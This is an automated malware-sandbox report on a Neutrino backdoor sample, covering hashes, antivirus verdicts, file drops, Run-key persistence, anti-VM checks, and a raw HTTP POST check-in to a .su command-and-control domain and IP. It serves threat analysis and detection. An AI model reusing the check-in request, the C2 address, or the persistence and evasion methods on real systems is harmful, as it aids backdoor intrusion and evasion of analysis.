Exes_4d4b0a341f11f2fdb6853a078945a52f_exe_2019-07-17_14_30.txt

* MalFamily: "Neutrino"

* MalScore: 10.0

* File Name: "Exes_4d4b0a341f11f2fdb6853a078945a52f.exe"
* File Size: 263168
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "6ee0730a1e57e08defd455e517a2f34247920305e2b5eb89a771ea1573164245"
* MD5: "4d4b0a341f11f2fdb6853a078945a52f"
* SHA1: "81d984782fd051b749d30230259eeaeae6a4a9bb"
* SHA512: "491f664ea0e27bbcbea0436bd766939e9e948c0e000b483a6ca93ad3c9d0df77df04a8dacbefa77695208f87465a7e2364bb28b447f0e5b90a3637d97cea66e3"
* CRC32: "7423BD28"
* SSDEEP: "6144:oBELhrKhcOnMUle6G9q7VrBeDMJxKDqd:OELohcOnBeF9QFsD+UDqd"

* Process Execution:
    "Exes_4d4b0a341f11f2fdb6853a078945a52f.exe",
    "write.exe",
    "svchost.exe"


* Executed Commands:
    "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\\\write.exe C:\\Users\\user\\AppData\\Local\\Temp\\EXES_4~1.EXE"


* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "Drops a binary and executes it",
        "Details":

                "binary": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "post_no_referer": "HTTP traffic contains a POST request with no referer header"


                "http_version_old": "HTTP traffic uses version 1.0"


                "suspicious_request": "http://www.h141398.s24.test-hf.su/blog/tasks.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://www.h141398.s24.test-hf.su/blog/tasks.php"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .text, entropy: 6.83, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00016400, virtual_size: 0x000162ac"




        "Description": "Detects the presence of Wine emulator via function name",
        "Details":


        "Description": "Deletes its original binary from disk",
        "Details":


        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details":

                "Spam": "Exes_4d4b0a341f11f2fdb6853a078945a52f.exe (2952) called API GlobalMemoryStatus 416539 times"


                "Spam": "write.exe (2284) called API GlobalMemoryStatus 416539 times"




        "Description": "Mimics the file times of a Windows system file",
        "Details":

                "mimic_dest": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe",
                "mimic_source": "C:\\Windows\\explorer.exe"




        "Description": "Installs itself for autorun at Windows startup",
        "Details":

                "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\write.exe"


                "data": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe"




        "Description": "Creates a hidden or system file",
        "Details":

                "file": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe"


                "file": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\"




        "Description": "File has been identified by 39 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Gen:Variant.Ser.Ursu.10502"


                "FireEye": "Generic.mg.4d4b0a341f11f2fd"


                "McAfee": "RDN/Generic BackDoor"


                "Malwarebytes": "Trojan.MalPack.GS.Generic"


                "BitDefender": "Gen:Variant.Ser.Ursu.10502"


                "Symantec": "ML.Attribute.HighConfidence"


                "ESET-NOD32": "a variant of Win32/Kryptik.GUPP"


                "APEX": "Malicious"


                "Paloalto": "generic.ml"


                "Kaspersky": "Backdoor.Win32.Kasidet.gsp"


                "Alibaba": "Trojan:Win32/Starter.ali2000005"


                "Rising": "Trojan.Generic@ML.98 (RDML:dKSYDfP0Hz+qaYq8CdIDcg)"


                "Ad-Aware": "Gen:Variant.Ser.Ursu.10502"


                "Emsisoft": "Gen:Variant.Ser.Ursu.10502 (B)"


                "Invincea": "heuristic"


                "McAfee-GW-Edition": "BehavesLike.Win32.Generic.dh"


                "Trapmine": "malicious.high.ml.score"


                "Sophos": "Mal/Generic-S"


                "SentinelOne": "DFI - Suspicious PE"


                "GData": "Win32.Packed.Kryptik.19NNFA"


                "Webroot": "W32.Trojan.Gen"


                "Avira": "TR/AD.Kasidet.Z"


                "Antiy-AVL": "TrojanBackdoor/Win32.Kasidet"


                "Microsoft": "Trojan:Win32/Wacatac.B!ml"


                "Endgame": "malicious (high confidence)"


                "Arcabit": "Trojan.Ser.Ursu.D2906"


                "AegisLab": "Trojan.Win32.Kasidet.4!c"


                "ZoneAlarm": "Backdoor.Win32.Kasidet.gsp"


                "AhnLab-V3": "Trojan/Win32.MalPe.R281492"


                "Acronis": "suspicious"


                "ALYac": "Gen:Variant.Ser.Ursu.10502"


                "Tencent": "Win32.Backdoor.Kasidet.Pegh"


                "MAX": "malware (ai score=100)"


                "Fortinet": "W32/Kryptik.GUPP!tr"


                "Qihoo-360": "Win32/Backdoor.3b1"


                "Cybereason": "malicious.82fd05"


                "Panda": "Trj/GdSda.A"


                "CrowdStrike": "win/malicious_confidence_100% (W)"


                "MaxSecure": "Trojan.Malware.300983.susgen"




        "Description": "Checks the version of Bios, possibly for anti-virtualization",
        "Details":


        "Description": "Detects VirtualBox through the presence of a registry key",
        "Details":


        "Description": "Detects VMware through the presence of a registry key",
        "Details":


        "Description": "Creates a copy of itself",
        "Details":

                "copy": "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe"




        "Description": "Collects information to fingerprint the system",
        "Details":


        "Description": "Created network traffic indicative of malicious activity",
        "Details":

                "signature": "ET TROJAN Win32/Neutrino Checkin 2"


                "signature": "ET TROJAN Win32/Neutrino Checkin 6"


                "signature": "ET TROJAN Win32/Neutrino Cookie"


                "signature": "ET DNS Query for .su TLD (Soviet Union) Often Malware Related"





* Started Service:

* Mutexes:
    "OWZCEN323F"


* Modified Files:
    "C:\\Users\\user\\AppData\\Roaming\\OWZCEN323F\\write.exe"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_4d4b0a341f11f2fdb6853a078945a52f.exe"


* Modified Registry Keys:
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\write.exe"


* Deleted Registry Keys:

* DNS Communications:

        "type": "A",
        "request": "www.h141398.s24.test-hf.su",
        "answers":

                "data": "91.227.16.124",
                "type": "A"





* Domains:

        "ip": "91.227.16.124",
        "domain": "www.h141398.s24.test-hf.su"



* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 33,
        "body": "auth=1",
        "uri": "http://www.h141398.s24.test-hf.su/blog/tasks.php",
        "user-agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0",
        "method": "POST",
        "host": "www.h141398.s24.test-hf.su",
        "version": "1.0",
        "path": "/blog/tasks.php",
        "data": "POST /blog/tasks.php HTTP/1.0\r\nHost: www.h141398.s24.test-hf.su\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0\r\nContent-type: application/x-www-form-urlencoded\r\nCookie: authkeys=21232f297a57a5a743894a0e4a801fc3\r\nContent-length: 6\r\n\r\nauth=1\n\\x00",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: